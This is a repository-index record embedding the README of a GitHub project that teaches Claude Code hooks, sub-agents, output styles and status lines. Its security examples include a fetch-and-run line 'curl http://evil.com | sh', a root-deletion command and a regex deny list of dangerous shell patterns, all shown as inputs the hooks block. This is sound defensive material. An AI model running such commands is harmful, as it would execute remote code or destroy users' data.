{"id":29806339,"url":"https://github.com/disler/claude-code-hooks-mastery","last_synced_at":"2026-01-22T18:11:51.061Z","repository":{"id":303096859,"uuid":"1014394578","full_name":"disler/claude-code-hooks-mastery","owner":"disler","description":null,"archived":false,"fork":false,"pushed_at":"2025-08-21T16:32:47.000Z","size":3424,"stargazers_count":1893,"open_issues_count":19,"forks_count":415,"subscribers_count":44,"default_branch":"main","last_synced_at":"2025-12-01T04:47:37.466Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/disler.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-07-05T16:30:09.000Z","updated_at":"2025-12-01T03:07:19.000Z","dependencies_parsed_at":"2025-07-18T17:11:39.737Z","dependency_job_id":"749d3341-b446-45be-863b-dd4e4e662bf7","html_url":"https://github.com/disler/claude-code-hooks-mastery","commit_stats":null,"previous_names":["disler/claude-code-hooks-mastery"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/disler/claude-code-hooks-mastery","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/disler%2Fclaude-code-hooks-mastery","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/disler%2Fclaude-code-hooks-mastery/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/disler%2Fclaude-code-hooks-mastery/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/disler%2Fclaude-code-hooks-mastery/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/disler","download_url":"https://codeload.github.com/disler/claude-code-hooks-mastery/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/disler%2Fclaude-code-hooks-mastery/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28667881,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-22T17:07:18.858Z","status":"ssl_error","status_checked_at":"2026-01-22T17:05:02.040Z","response_time":144,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-07-28T14:05:57.858Z","updated_at":"2026-01-22T18:11:51.047Z","avatar_url":"https://github.com/disler.png","language":"Python","readme":"# Claude Code Hooks Mastery\n\n[Claude Code Hooks](https://docs.anthropic.com/en/docs/claude-code/hooks) - Quickly master how to use Claude Code hooks to add deterministic (or non-deterministic) control over Claude Code's behavior. Plus learn about [Claude Code Sub-Agents](#claude-code-sub-agents) and the powerful [Meta-Agent](#the-meta-agent).\n\n\u003cimg src=\"images/hooked.png\" alt=\"Claude Code Hooks\" style=\"max-width: 800px; width: 100%;\" /\u003e\n\n## Prerequisites\n\nThis requires:\n- **[Astral UV](https://docs.astral.sh/uv/getting-started/installation/)** - Fast Python package installer and resolver\n- **[Claude Code](https://docs.anthropic.com/en/docs/claude-code)** - Anthropic's CLI for Claude AI\n\nOptional:\n- **[ElevenLabs](https://elevenlabs.io/)** - Text-to-speech provider (with MCP server integration)\n- **[ElevenLabs MCP Server](https://github.com/elevenlabs/elevenlabs-mcp)** - MCP server for ElevenLabs\n- **[Firecrawl MCP Server](https://www.firecrawl.dev/mcp)** - Web scraping and crawling MCP server (my favorite scraper)\n- **[OpenAI](https://openai.com/)** - Language model provider + Text-to-speech provider\n- **[Anthropic](https://www.anthropic.com/)** - Language model provider\n- **[Ollama](https://ollama.com/)** - Local language model provider\n\n### Optional: Ollama Setup\n\nIf using Ollama for local LLM completion messages:\n```bash\n# Install Ollama from https://ollama.com/download\n# Pull the GPT-OSS model (13GB)\nollama pull gpt-oss:20b\n# Start Ollama server\nollama serve\n```\n\nThe stop hook will use Ollama as fallback after OpenAI/Anthropic for generating completion messages.\n\n## Hook Lifecycle \u0026 Payloads\n\nThis demo captures all 8 Claude Code hook lifecycle events with their JSON payloads:\n\n### 1. UserPromptSubmit Hook\n**Fires:** Immediately when user submits a prompt (before Claude processes it)  \n**Payload:** `prompt` text, `session_id`, timestamp  \n**Enhanced:** Prompt validation, logging, context injection, security filtering\n\n### 2. PreToolUse Hook\n**Fires:** Before any tool execution  \n**Payload:** `tool_name`, `tool_input` parameters  \n**Enhanced:** Blocks dangerous commands (`rm -rf`, `.env` access)\n\n### 3. PostToolUse Hook  \n**Fires:** After successful tool completion  \n**Payload:** `tool_name`, `tool_input`, `tool_response` with results\n\n### 4. Notification Hook\n**Fires:** When Claude Code sends notifications (waiting for input, etc.)  \n**Payload:** `message` content  \n**Enhanced:** TTS alerts - \"Your agent needs your input\" (30% chance includes name)\n\n### 5. Stop Hook\n**Fires:** When Claude Code finishes responding  \n**Payload:** `stop_hook_active` boolean flag  \n**Enhanced:** AI-generated completion messages with TTS playback (LLM priority: OpenAI \u003e Anthropic \u003e Ollama \u003e random)\n\n### 6. SubagentStop Hook\n**Fires:** When Claude Code subagents (Task tools) finish responding  \n**Payload:** `stop_hook_active` boolean flag  \n**Enhanced:** TTS playback - \"Subagent Complete\"\n\n### 7. PreCompact Hook\n**Fires:** Before Claude Code performs a compaction operation  \n**Payload:** `trigger` (\"manual\" or \"auto\"), `custom_instructions` (for manual), session info  \n**Enhanced:** Transcript backup, verbose feedback for manual compaction\n\n### 8. SessionStart Hook\n**Fires:** When Claude Code starts a new session or resumes an existing one  \n**Payload:** `source` (\"startup\", \"resume\", or \"clear\"), session info  \n**Enhanced:** Development context loading (git status, recent issues, context files)\n\n\n## What This Shows\n\n- **Complete hook lifecycle coverage** - All 8 hook events implemented and logging\n- **Prompt-level control** - UserPromptSubmit validates and enhances prompts before Claude sees them\n- **Intelligent TTS system** - AI-generated audio feedback with voice priority (ElevenLabs \u003e OpenAI \u003e pyttsx3)\n- **Security enhancements** - Blocks dangerous commands and sensitive file access at multiple levels\n- **Personalized experience** - Uses engineer name from environment variables\n- **Automatic logging** - All hook events are logged as JSON to `logs/` directory  \n- **Chat transcript extraction** - PostToolUse hook converts JSONL transcripts to readable JSON format\n\n\u003e **Warning:** The `chat.json` file contains only the most recent Claude Code conversation. It does not preserve conversations from previous sessions - each new conversation is fully copied and overwrites the previous one. This is unlike the other logs which are appended to from every claude code session.\n\n## UV Single-File Scripts Architecture\n\nThis project leverages **[UV single-file scripts](https://docs.astral.sh/uv/guides/scripts/)** to keep hook logic cleanly separated from your main codebase. All hooks live in `.claude/hooks/` as standalone Python scripts with embedded dependency declarations.\n\n**Benefits:**\n- **Isolation** - Hook logic stays separate from your project dependencies\n- **Portability** - Each hook script declares its own dependencies inline\n- **No Virtual Environment Management** - UV handles dependencies automatically\n- **Fast Execution** - UV's dependency resolution is lightning-fast\n- **Self-Contained** - Each hook can be understood and modified independently\n\nThis approach ensures your hooks remain functional across different environments without polluting your main project's dependency tree.\n\n## Key Files\n\n- `.claude/settings.json` - Hook configuration with permissions\n- `.claude/hooks/` - Python scripts using uv for each hook type\n  - `user_prompt_submit.py` - Prompt validation, logging, and context injection\n  - `pre_tool_use.py` - Security blocking and logging\n  - `post_tool_use.py` - Logging and transcript conversion\n  - `notification.py` - Logging with optional TTS (--notify flag)\n  - `stop.py` - AI-generated completion messages with TTS\n  - `subagent_stop.py` - Simple \"Subagent Complete\" TTS\n  - `pre_compact.py` - Transcript backup and compaction logging\n  - `session_start.py` - Development context loading and session logging\n  - `utils/` - Intelligent TTS and LLM utility scripts\n    - `tts/` - Text-to-speech providers (ElevenLabs, OpenAI, pyttsx3)\n    - `llm/` - Language model integrations (OpenAI, Anthropic, Ollama)\n- `.claude/status_lines/` - Real-time terminal status displays\n  - `status_line.py` - Basic MVP with git info\n  - `status_line_v2.py` - Smart prompts with color coding\n  - `status_line_v3.py` - Agent sessions with history\n  - `status_line_v4.py` - Extended metadata support\n- `.claude/output-styles/` - Response formatting configurations\n  - `genui.md` - Generates beautiful HTML with embedded styling\n  - `table-based.md` - Organizes information in markdown tables\n  - `yaml-structured.md` - YAML configuration format\n  - `bullet-points.md` - Clean nested lists\n  - `ultra-concise.md` - Minimal words, maximum speed\n  - `html-structured.md` - Semantic HTML5\n  - `markdown-focused.md` - Rich markdown features\n  - `tts-summary.md` - Audio feedback via TTS\n- `.claude/commands/` - Custom slash commands\n  - `prime.md` - Project analysis and understanding\n  - `crypto_research.md` - Cryptocurrency research workflows\n  - `cook.md` - Advanced task execution\n  - `update_status_line.md` - Dynamic status updates\n- `.claude/agents/` - Sub-agent configurations\n  - `crypto/` - Cryptocurrency analysis agents\n  - `hello-world-agent.md` - Simple greeting example\n  - `llm-ai-agents-and-eng-research.md` - AI research specialist\n  - `meta-agent.md` - Agent that creates other agents\n  - `work-completion-summary.md` - Audio summary generator\n- `logs/` - JSON logs of all hook executions\n  - `user_prompt_submit.json` - User prompt submissions with validation\n  - `pre_tool_use.json` - Tool use events with security blocking\n  - `post_tool_use.json` - Tool completion events\n  - `notification.json` - Notification events\n  - `stop.json` - Stop events with completion messages\n  - `subagent_stop.json` - Subagent completion events\n  - `pre_compact.json` - Pre-compaction events with trigger type\n  - `session_start.json` - Session start events with source type\n  - `chat.json` - Readable conversation transcript (generated by --chat flag)\n- `ai_docs/` - Documentation resources\n  - `cc_hooks_docs.md` - Complete hooks documentation from Anthropic\n  - `user_prompt_submit_hook.md` - Comprehensive UserPromptSubmit hook documentation\n  - `uv-single-file-scripts.md` - UV script architecture documentation\n  - `anthropic_custom_slash_commands.md` - Slash commands documentation\n  - `anthropic_docs_subagents.md` - Sub-agents documentation\n\nHooks provide deterministic control over Claude Code behavior without relying on LLM decisions.\n\n## Features Demonstrated\n\n- Prompt validation and security filtering\n- Context injection for enhanced AI responses\n- Command logging and auditing\n- Automatic transcript conversion  \n- Permission-based tool access control\n- Error handling in hook execution\n\nRun any Claude Code command to see hooks in action via the `logs/` files.\n\n## Hook Error Codes \u0026 Flow Control\n\nClaude Code hooks provide powerful mechanisms to control execution flow and provide feedback through exit codes and structured JSON output.\n\n### Exit Code Behavior\n\nHooks communicate status and control flow through exit codes:\n\n| Exit Code | Behavior           | Description                                                                                  |\n| --------- | ------------------ | -------------------------------------------------------------------------------------------- |\n| **0**     | Success            | Hook executed successfully. `stdout` shown to user in transcript mode (Ctrl-R)               |\n| **2**     | Blocking Error     | **Critical**: `stderr` is fed back to Claude automatically. See hook-specific behavior below |\n| **Other** | Non-blocking Error | `stderr` shown to user, execution continues normally                                         |\n\n### Hook-Specific Flow Control\n\nEach hook type has different capabilities for blocking and controlling Claude Code's behavior:\n\n#### UserPromptSubmit Hook - **CAN BLOCK PROMPTS \u0026 ADD CONTEXT**\n- **Primary Control Point**: Intercepts user prompts before Claude processes them\n- **Exit Code 2 Behavior**: Blocks the prompt entirely, shows error message to user\n- **Use Cases**: Prompt validation, security filtering, context injection, audit logging\n- **Example**: Our `user_prompt_submit.py` logs all prompts and can validate them\n\n#### PreToolUse Hook - **CAN BLOCK TOOL EXECUTION**\n- **Primary Control Point**: Intercepts tool calls before they execute\n- **Exit Code 2 Behavior**: Blocks the tool call entirely, shows error message to Claude\n- **Use Cases**: Security validation, parameter checking, dangerous command prevention\n- **Example**: Our `pre_tool_use.py` blocks `rm -rf` commands with exit code 2\n\n```python\n# Block dangerous commands\nif is_dangerous_rm_command(command):\n    print(\"BLOCKED: Dangerous rm command detected\", file=sys.stderr)\n    sys.exit(2)  # Blocks tool call, shows error to Claude\n```\n\n#### PostToolUse Hook - **CANNOT BLOCK (Tool Already Executed)**\n- **Primary Control Point**: Provides feedback after tool completion\n- **Exit Code 2 Behavior**: Shows error to Claude (tool already ran, cannot be undone)\n- **Use Cases**: Validation of results, formatting, cleanup, logging\n- **Limitation**: Cannot prevent tool execution since it fires after completion\n\n#### Notification Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Handles Claude Code notifications\n- **Exit Code 2 Behavior**: N/A - shows stderr to user only, no blocking capability\n- **Use Cases**: Custom notifications, logging, user alerts\n- **Limitation**: Cannot control Claude Code behavior, purely informational\n\n#### Stop Hook - **CAN BLOCK STOPPING**\n- **Primary Control Point**: Intercepts when Claude Code tries to finish responding\n- **Exit Code 2 Behavior**: Blocks stoppage, shows error to Claude (forces continuation)\n- **Use Cases**: Ensuring tasks complete, validation of final state use this to FORCE CONTINUATION\n- **Caution**: Can cause infinite loops if not properly controlled\n\n#### SubagentStop Hook - **CAN BLOCK SUBAGENT STOPPING**\n- **Primary Control Point**: Intercepts when Claude Code subagents try to finish\n- **Exit Code 2 Behavior**: Blocks subagent stoppage, shows error to subagent\n- **Use Cases**: Ensuring subagent tasks complete properly\n- **Example**: Our `subagent_stop.py` logs events and announces completion\n\n#### PreCompact Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Fires before compaction operations\n- **Exit Code 2 Behavior**: N/A - shows stderr to user only, no blocking capability\n- **Use Cases**: Transcript backup, context preservation, pre-compaction logging\n- **Example**: Our `pre_compact.py` creates transcript backups before compaction\n\n#### SessionStart Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Fires when new sessions start or resume\n- **Exit Code 2 Behavior**: N/A - shows stderr to user only, no blocking capability\n- **Use Cases**: Loading development context, session initialization, environment setup\n- **Example**: Our `session_start.py` loads git status, recent issues, and context files\n\n### Advanced JSON Output Control\n\nBeyond simple exit codes, hooks can return structured JSON for sophisticated control:\n\n#### Common JSON Fields (All Hook Types)\n```json\n{\n  \"continue\": true,           // Whether Claude should continue (default: true)\n  \"stopReason\": \"string\",     // Message when continue=false (shown to user)\n  \"suppressOutput\": true      // Hide stdout from transcript (default: false)\n}\n```\n\n#### PreToolUse Decision Control\n```json\n{\n  \"decision\": \"approve\" | \"block\" | undefined,\n  \"reason\": \"Explanation for decision\"\n}\n```\n\n- **\"approve\"**: Bypasses permission system, `reason` shown to user\n- **\"block\"**: Prevents tool execution, `reason` shown to Claude\n- **undefined**: Normal permission flow, `reason` ignored\n\n#### PostToolUse Decision Control\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"Explanation for decision\"\n}\n```\n\n- **\"block\"**: Automatically prompts Claude with `reason`\n- **undefined**: No action, `reason` ignored\n\n#### Stop Decision Control\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"Must be provided when blocking Claude from stopping\"\n}\n```\n\n- **\"block\"**: Prevents Claude from stopping, `reason` tells Claude how to proceed\n- **undefined**: Allows normal stopping, `reason` ignored\n\n### Flow Control Priority\n\nWhen multiple control mechanisms are used, they follow this priority:\n\n1. **`\"continue\": false`** - Takes precedence over all other controls\n2. **`\"decision\": \"block\"`** - Hook-specific blocking behavior\n3. **Exit Code 2** - Simple blocking via stderr\n4. **Other Exit Codes** - Non-blocking errors\n\n### Security Implementation Examples\n\n#### 1. Command Validation (PreToolUse)\n```python\n# Block dangerous patterns\ndangerous_patterns = [\n    r'rm\\s+.*-[rf]',           # rm -rf variants\n    r'sudo\\s+rm',              # sudo rm commands\n    r'chmod\\s+777',            # Dangerous permissions\n    r'\u003e\\s*/etc/',              # Writing to system directories\n]\n\nfor pattern in dangerous_patterns:\n    if re.search(pattern, command, re.IGNORECASE):\n        print(f\"BLOCKED: {pattern} detected\", file=sys.stderr)\n        sys.exit(2)\n```\n\n#### 2. Result Validation (PostToolUse)\n```python\n# Validate file operations\nif tool_name == \"Write\" and not tool_response.get(\"success\"):\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"File write operation failed, please check permissions and retry\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n#### 3. Completion Validation (Stop Hook)\n```python\n# Ensure critical tasks are complete\nif not all_tests_passed():\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"Tests are failing. Please fix failing tests before completing.\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n### Hook Execution Environment\n\n- **Timeout**: 60-second execution limit per hook\n- **Parallelization**: All matching hooks run in parallel\n- **Environment**: Inherits Claude Code's environment variables\n- **Working Directory**: Runs in current project directory\n- **Input**: JSON via stdin with session and tool data\n- **Output**: Processed via stdout/stderr with exit codes\n\n## UserPromptSubmit Hook Deep Dive\n\nThe UserPromptSubmit hook is the first line of defense and enhancement for Claude Code interactions. It fires immediately when you submit a prompt, before Claude even begins processing it.\n\n### What It Can Do\n\n1. **Log prompts** - Records every prompt with timestamp and session ID\n2. **Block prompts** - Exit code 2 prevents Claude from seeing the prompt\n3. **Add context** - Print to stdout adds text before your prompt that Claude sees\n4. **Validate content** - Check for dangerous patterns, secrets, policy violations\n\n### How It Works\n\n1. **You type a prompt** → Claude Code captures it\n2. **UserPromptSubmit hook fires** → Receives JSON with your prompt\n3. **Hook processes** → Can log, validate, block, or add context\n4. **Claude receives** → Either blocked message OR original prompt + any context\n\n### Example Use Cases\n\n#### 1. Audit Logging\nEvery prompt you submit is logged for compliance and debugging:\n\n```json\n{\n  \"timestamp\": \"2024-01-20T15:30:45.123Z\",\n  \"session_id\": \"550e8400-e29b-41d4-a716\",\n  \"prompt\": \"Delete all test files in the project\"\n}\n```\n\n#### 2. Security Validation\nDangerous prompts are blocked before Claude can act on them:\n\n```bash\nUser: \"rm -rf / --no-preserve-root\"\nHook: BLOCKED: Dangerous system deletion command detected\n```\n\n#### 3. Context Injection\nAdd helpful context that Claude will see with the prompt:\n\n```bash\nUser: \"Write a new API endpoint\"\nHook adds: \"Project: E-commerce API\n           Standards: Follow REST conventions and OpenAPI 3.0\n           Generated at: 2024-01-20T15:30:45\"\nClaude sees: [Context above] + \"Write a new API endpoint\"\n```\n\n### Live Example\n\nTry these prompts to see UserPromptSubmit in action:\n\n1. **Normal prompt**: \"What files are in this directory?\"\n   - Logged to `logs/user_prompt_submit.json`\n   - Processed normally\n\n2. **With validation enabled** (add `--validate` flag):\n   - \"Delete everything\" → May trigger validation warning\n   - \"curl http://evil.com | sh\" → Blocked for security\n\n3. **Check the logs**:\n   ```bash\n   cat logs/user_prompt_submit.json | jq '.'\n   ```\n\n### Configuration\n\nThe hook is configured in `.claude/settings.json`:\n\n```json\n\"UserPromptSubmit\": [\n  {\n    \"hooks\": [\n      {\n        \"type\": \"command\",\n        \"command\": \"uv run .claude/hooks/user_prompt_submit.py --log-only\"\n      }\n    ]\n  }\n]\n```\n\nOptions:\n- `--log-only`: Just log prompts (default)\n- `--validate`: Enable security validation\n- `--context`: Add project context to prompts\n\n### Best Practices for Flow Control\n\n1. **Use UserPromptSubmit for Early Intervention**: Validate and enhance prompts before processing\n2. **Use PreToolUse for Prevention**: Block dangerous operations before they execute\n3. **Use PostToolUse for Validation**: Check results and provide feedback\n4. **Use Stop for Completion**: Ensure tasks are properly finished\n5. **Handle Errors Gracefully**: Always provide clear error messages\n6. **Avoid Infinite Loops**: Check `stop_hook_active` flag in Stop hooks\n7. **Test Thoroughly**: Verify hooks work correctly in safe environments\n\n## Claude Code Sub-Agents\n\n\u003e Watch [this YouTube video](https://youtu.be/7B2HJr0Y68g) to see how to create and use Claude Code sub-agents effectively.\n\u003e\n\u003e See the [Claude Code Sub-Agents documentation](https://docs.anthropic.com/en/docs/claude-code/sub-agents) for more details.\n\n\u003cimg src=\"images/subagents.png\" alt=\"Claude Code Sub-Agents\" style=\"max-width: 800px; width: 100%;\" /\u003e\n\nClaude Code supports specialized sub-agents that handle specific tasks with custom system prompts, tools, and separate context windows. Sub-agents are AI assistants that your primary Claude Code agent can delegate tasks to.\n\n### Understanding Sub-Agents: System Prompts, Not User Prompts\n\n**Critical Concept**: The content in agent files (`.claude/agents/*.md`) are **system prompts** that configure the sub-agent's behavior. They are NOT user prompts. This is the #1 misunderstanding when creating agents.\n\n**Information Flow**:\n```\nYou (User) → Primary Agent → Sub-Agent → Primary Agent → You (User)\n```\n\n\u003cimg src=\"images/SubAgentFlow.gif\" alt=\"Sub-Agent Information Flow\" style=\"max-width: 800px; width: 100%;\" /\u003e\n\n1. **You** make a request to Claude Code (primary agent)\n2. **Primary Agent** analyzes your request and delegates to appropriate sub-agent\n3. **Sub-Agent** executes task using its system prompt instructions\n4. **Sub-Agent** reports results back to primary agent\n5. **Primary Agent** synthesizes and presents results to you\n\n**Key Points**:\n- Sub-agents NEVER communicate directly with you\n- Sub-agents start fresh with no conversation history\n- Sub-agents respond to the primary agent's prompt, not yours\n- The `description` field tells the primary agent WHEN to use the sub-agent\n\n### Agent Storage \u0026 Organization\n\nThis repository demonstrates various agent configurations:\n\n**Project Agents** (`.claude/agents/`):\n```\n.claude/agents/\n├── crypto/                    # Cryptocurrency analysis agents\n│   ├── crypto-coin-analyzer-haiku.md\n│   ├── crypto-coin-analyzer-opus.md\n│   ├── crypto-coin-analyzer-sonnet.md\n│   ├── crypto-investment-plays-*.md\n│   ├── crypto-market-agent-*.md\n│   ├── crypto-movers-haiku.md\n│   └── macro-crypto-correlation-scanner-*.md\n├── hello-world-agent.md       # Simple greeting agent\n├── llm-ai-agents-and-eng-research.md  # AI research specialist\n├── meta-agent.md              # Agent that creates agents\n└── work-completion-summary.md # Audio summary generator\n```\n\n**Storage Hierarchy**:\n- **Project agents**: `.claude/agents/` (higher priority, project-specific)\n- **User agents**: `~/.claude/agents/` (lower priority, available across all projects)\n- **Format**: Markdown files with YAML frontmatter\n\n**Agent File Structure:**\n```yaml\n---\nname: agent-name\ndescription: When to use this agent (critical for automatic delegation)\ntools: Tool1, Tool2, Tool3  # Optional - inherits all tools if omitted\ncolor: Cyan  # Visual identifier in terminal\nmodel: opus # Optional - haiku | sonnet | opus - defaults to sonnet\n---\n\n# Purpose\nYou are a [role definition]. \n\n## Instructions\n1. Step-by-step instructions\n2. What the agent should do\n3. How to report results\n\n## Report/Response Format\nSpecify how the agent should communicate results back to the primary agent.\n```\n\nSub-agents enable:\n- **Task specialization** - Code reviewers, debuggers, test runners\n- **Context preservation** - Each agent operates independently  \n- **Tool restrictions** - Grant only necessary permissions\n- **Automatic delegation** - Claude proactively uses the right agent\n\n### Key Engineering Insights\n\n**Two Critical Mistakes to Avoid:**\n\n1. **Misunderstanding the System Prompt** - What you write in agent files is the *system prompt*, not a user prompt. This changes how you structure instructions and what information is available to the agent.\n\n2. **Ignoring Information Flow** - Sub-agents respond to your primary agent, not to you. Your primary agent prompts sub-agents based on your original request, and sub-agents report back to the primary agent, which then reports to you.\n\n**Best Practices:**\n- Use the `description` field to tell your primary agent *when* and *how* to prompt sub-agents\n- Include phrases like \"use PROACTIVELY\" or trigger words (e.g., \"if they say TTS\") in descriptions\n- Remember sub-agents start fresh with no context - be explicit about what they need to know\n- Follow Problem → Solution → Technology approach when building agents\n\n### Complex Workflows \u0026 Agent Chaining\n\nClaude Code can intelligently chain multiple sub-agents together for complex tasks:\n\n\u003cimg src=\"images/SubAgentChain.gif\" alt=\"Sub-Agent Chaining\" style=\"max-width: 800px; width: 100%;\" /\u003e\n\nFor example:\n- \"First analyze the market with crypto-market-agent, then use crypto-investment-plays to find opportunities\"\n- \"Use the debugger agent to fix errors, then have the code-reviewer check the changes\"\n- \"Generate a new agent with meta-agent, then test it on a specific task\"\n\nThis chaining allows you to build sophisticated workflows while maintaining clean separation of concerns.\n\n### The Meta-Agent\n\nThe meta-agent (`.claude/agents/meta-agent.md`) is a specialized sub-agent that generates new sub-agents from descriptions. It's the \"agent that builds agents\" - a critical tool for scaling your agent development velocity.\n\n**Why Meta-Agent Matters:**\n- **Rapid Agent Creation** - Build dozens of specialized agents in minutes instead of hours\n- **Consistent Structure** - Ensures all agents follow best practices and proper formatting\n- **Live Documentation** - Pulls latest Claude Code docs to stay current with features\n- **Intelligent Tool Selection** - Automatically determines minimal tool requirements\n\n**Using the Meta-Agent:**\n```bash\n# Simply describe what you want\n\"Build a new sub-agent that runs tests and fixes failures\"\n\n# Claude Code will automatically delegate to meta-agent\n# which will create a properly formatted agent file\n```\n\nThe meta-agent follows the principle: \"Figure out how to scale it up. Build the thing that builds the thing.\" This compound effect accelerates your engineering capabilities exponentially.\n\n## Output Styles Collection\n\n\u003e **Watch the walkthrough:** See these features in action at [https://youtu.be/mJhsWrEv-Go](https://youtu.be/mJhsWrEv-Go)\n\n\u003cimg src=\"images/genui.png\" alt=\"GenUI Output Style\" style=\"max-width: 800px; width: 100%;\" /\u003e\n\nThis project includes a comprehensive collection of custom output styles (`.claude/output-styles/`) that transform how Claude Code communicates responses. See the [official documentation](https://docs.anthropic.com/en/docs/claude-code/output-styles) for complete details on how output styles work.\n\n| Style                | Description                                        | Best For                                                |\n| -------------------- | -------------------------------------------------- | ------------------------------------------------------- |\n| **genui** ⭐          | **Generates beautiful HTML with embedded styling** | **Interactive visual outputs, instant browser preview** |\n| **table-based**      | Organizes all information in markdown tables       | Comparisons, structured data, status reports            |\n| **yaml-structured**  | Formats responses as YAML configuration            | Settings, hierarchical data, API responses              |\n| **bullet-points**    | Clean nested lists with dashes and numbers         | Action items, documentation, task tracking              |\n| **ultra-concise**    | Minimal words, maximum speed                       | Experienced devs, rapid prototyping                     |\n| **html-structured**  | Semantic HTML5 with data attributes                | Web documentation, rich formatting                      |\n| **markdown-focused** | Leverages all markdown features optimally          | Complex documentation, mixed content                    |\n| **tts-summary**      | Announces task completion via ElevenLabs TTS       | Audio feedback, accessibility                           |\n\n**Usage:** Run `/output-style [name]` to activate any style (e.g., `/output-style table-based`)\n\n**Location:** \n- Project styles: `.claude/output-styles/*.md` (this repo)\n- User styles: `~/.claude/output-styles/*.md` (global)\n\nOutput styles modify Claude's system prompt to change response formatting without affecting core functionality. Each style is a markdown file with YAML frontmatter defining the name, description, and formatting instructions.\n\n\n## Custom Status Lines\n\n\u003e **Watch the walkthrough:** See these features in action at [https://youtu.be/mJhsWrEv-Go](https://youtu.be/mJhsWrEv-Go)\n\nThis project includes enhanced Claude Code status lines that display real-time conversation context. Status lines provide dynamic information at the bottom of your terminal during Claude Code sessions. See the [official documentation](https://docs.anthropic.com/en/docs/claude-code/statusline) for complete details.\n\n### Available Status Lines\n\n**Location:** `.claude/status_lines/`\n\n| Version | File                | Description       | Features                                                 |\n| ------- | ------------------- | ----------------- | -------------------------------------------------------- |\n| **v1**  | `status_line.py`    | Basic MVP         | Git branch, directory, model info                        |\n| **v2**  | `status_line_v2.py` | Smart prompts     | Latest prompt (250 chars), color-coded by task type      |\n| **v3**  | `status_line_v3.py` | Agent sessions    | Agent name, model, last 3 prompts                        |\n| **v4**  | `status_line_v4.py` | Extended metadata | Agent name, model, latest prompt, custom key-value pairs |\n\n### Session Management\n\nStatus lines leverage session data stored in `.claude/data/sessions/\u003csession_id\u003e.json`:\n\n```json\n{\n  \"session_id\": \"unique-session-id\",\n  \"prompts\": [\"first prompt\", \"second prompt\", ...],\n  \"agent_name\": \"Phoenix\",  // Auto-generated unique name\n  \"extras\": {              // v4: Custom metadata (optional)\n    \"project\": \"myapp\",\n    \"status\": \"debugging\",\n    \"environment\": \"prod\"\n  }\n}\n```\n\n**Agent Naming:**\n- Automatically generates unique agent names using LLM services\n- Priority: Ollama (local) → Anthropic → OpenAI → Fallback names\n- Names are single-word, memorable identifiers (e.g., Phoenix, Sage, Nova)\n- Enabled via `--name-agent` flag in `user_prompt_submit.py`\n\n**Custom Metadata (v4):**\n- Use `/update_status_line` command to add custom key-value pairs\n- Displayed at the end of the status line in cyan brackets\n- Persists across Claude Code interactions\n- Example: `/update_status_line \u003csession_id\u003e project myapp`\n\n### Configuration\n\nSet your preferred status line in `.claude/settings.json`:\n\n```json\n{\n  \"StatusLine\": {\n    \"command\": \"uv run .claude/status_lines/status_line_v3.py\"\n  }\n}\n```\n\n**Status Line Features:**\n- **Real-time updates** - Refreshes on message changes (300ms throttle)\n- **Color coding** - Visual indicators for different task types\n- **Smart truncation** - Manages long prompts elegantly\n- **Session persistence** - Maintains context across interactions\n\n**Task Type Indicators (v2/v3):**\n- 🔍 Purple - Analysis/search tasks\n- 💡 Green - Creation/implementation tasks\n- 🔧 Yellow - Fix/debug tasks\n- 🗑️ Red - Deletion tasks\n- ❓ Blue - Questions\n- 💬 Default - General conversation\n\n\n\n## Master AI Coding\n\u003e And prepare for Agentic Engineering\n\nLearn to code with AI with foundational [Principles of AI Coding](https://agenticengineer.com/principled-ai-coding?y=cchmgenui)\n\nFollow the [IndyDevDan youtube channel](https://www.youtube.com/@indydevdan) for more AI coding tips and tricks.","funding_links":[],"categories":["Python","Claude Code Ecosystem","Guides \u0026 Learning Resources","Learning \u0026 Reference","开发工具与实用程序","Learning \u0026 Documentation","Repos","Plugins"],"sub_categories":["Development \u0026 Code Tools","Comprehensive Guides","All Plugins"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdisler%2Fclaude-code-hooks-mastery","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdisler%2Fclaude-code-hooks-mastery","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdisler%2Fclaude-code-hooks-mastery/lists"}